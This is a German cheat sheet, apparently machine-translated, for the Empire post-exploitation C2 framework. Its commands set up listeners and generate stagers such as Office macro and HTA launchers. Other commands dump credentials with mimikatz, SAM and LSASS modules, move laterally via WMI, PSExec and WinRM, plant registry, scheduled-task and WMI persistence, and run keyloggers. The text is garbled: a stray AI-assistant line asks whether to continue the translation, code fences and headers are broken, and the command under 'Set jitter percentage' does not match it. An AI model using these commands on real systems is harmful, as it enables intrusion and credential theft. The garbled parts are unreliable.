Zum Inhalt

Empire Framework Spickzettel

Überblick

Empire ist ein Post-Exploitation-Framework, das einen reinen PowerShell 2.0 Windows-Agenten und einen reinen Python 3 Linux/macOS-Agenten umfasst. Es bietet eine leistungsstarke Befehl- und Kontroll-Infrastruktur (C2) für Red-Team-Operationen, Penetrationstests und Gegnerische Emulation.

⚠️ Warnung: Empire ist ein Sicherheits-Testtool, das nur in Umgebungen verwendet werden sollte, für die Sie eine ausdrückliche Erlaubnis haben.

Installation

Von GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Mit Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

Auf Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Grundlegende Nutzung

Empire starten

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Starkiller (GUI) verwenden

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller

Empire CLI-Navigation

Befehl Beschreibung
help Hilfe-Menü anzeigen
menu Zurück zum Hauptmenü
back Eine Ebene zurück im Menü
exit Exit Empire
usemodule <module> Wählen Sie ein Modul aus
usestager <stager> Wählen Sie einen Stager aus
uselistener <listener> Wählen Sie einen Listener aus
interact <agent> Mit einem Agent interagieren
searchmodule <term> Nach Modulen suchen
## Listener

Einen Listener erstellen

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Häufige Listener-Optionen

Option Beschreibung
Name Name für den Zuhörer
Host IP/Hostname für Staging
Port Port für den Listener
CertPath Zertifikatspfad für HTTPS
DefaultDelay Agent Callback-Verzögerung (in Sekunden)
DefaultJitter Jitter in Agent-Callbacks (0.0-1.0)
DefaultProfile Standard-Kommunikationsprofil
KillDate Datum für den Hörer zum Aussteigen (MM/DD/YYYY)
WorkingHours Zeiten für den Rückruf des Agenten (09:00-17:00)
### Listener-Management
# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stager

Einen Stager generieren

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Häufige Stager-Typen

Stager Beschreibung
windows/launcher_bat BAT-Datei-Starter
windows/launcher_vbs VBS-Skript-Starter
windows/launcher_powershell PowerShell Starter
multi/launcher Multi-Plattform-Launcher
osx/launcher macOS Launcher
linux/launcher Linux Launcher
windows/dll DLL-Starter
windows/macro Office-Makro-Starter
windows/hta HTA Launcher
## Agenten

Agenten-Befehle

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Agenten-Management

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Module

Module verwenden

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Häufige Modul-Kategorien

Zugriffsanmeldeinformationen

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Situational Awareness

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Laterale Bewegung

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistenz

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Erweiterte Funktionen

Malleable C2-Profile

Would you like me to continue with the remaining sections or provide translations for the numbered sections?```

In Empire CLI

profiles use default set DefaultProfile /path/to/profile.profile ```### OPSEC-Überlegungen

# Set agent kill date
set KillDate 01/01/2025

# Set working hours
set WorkingHours 09:00-17:00

# Increase agent sleep time
sleep 300 30
```### Datenexfiltration

Use keylogging module

usemodule powershell/collection/keylogger

Use clipboard monitoring

usemodule powershell/collection/clipboard_monitor

Use screenshot module

usemodule powershell/collection/screenshot ```## Fehlerbehebung

Häufige Probleme

   # Check if the listener is running
   listeners

   # Verify firewall settings
   sudo iptables -L

   # Check for port conflicts
   netstat -tuln|grep <port>
   ```**Verbindungsprobleme**
```bash
   # Verify agent is running
   agents

   # Check for network connectivity issues
   # Verify sleep/jitter settings
   ```
```bash
   # Check module requirements
   info

   # Verify agent privileges
   shell whoami

   # Try running in a different process context
   usemodule powershell/management/psinject
   ```**Agent meldet sich nicht**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
https://github.com/BC-SECURITY/Empire**Modul-Ausführungsfehler ** https://bc-security.gitbook.io/empire-wiki/

Defensive Maßnahmen

Erkennungsmethoden

  • PowerShell Script Block Logging
  • PowerShell Modul-Logging
  • AMSI (Antimalware Scan Interface)
  • Netzwerkverkehrsanalyse
  • Verhaltensanalyse

Präventive Techniken

https://github.com/BC-SECURITY/Starkiller

Ressourcen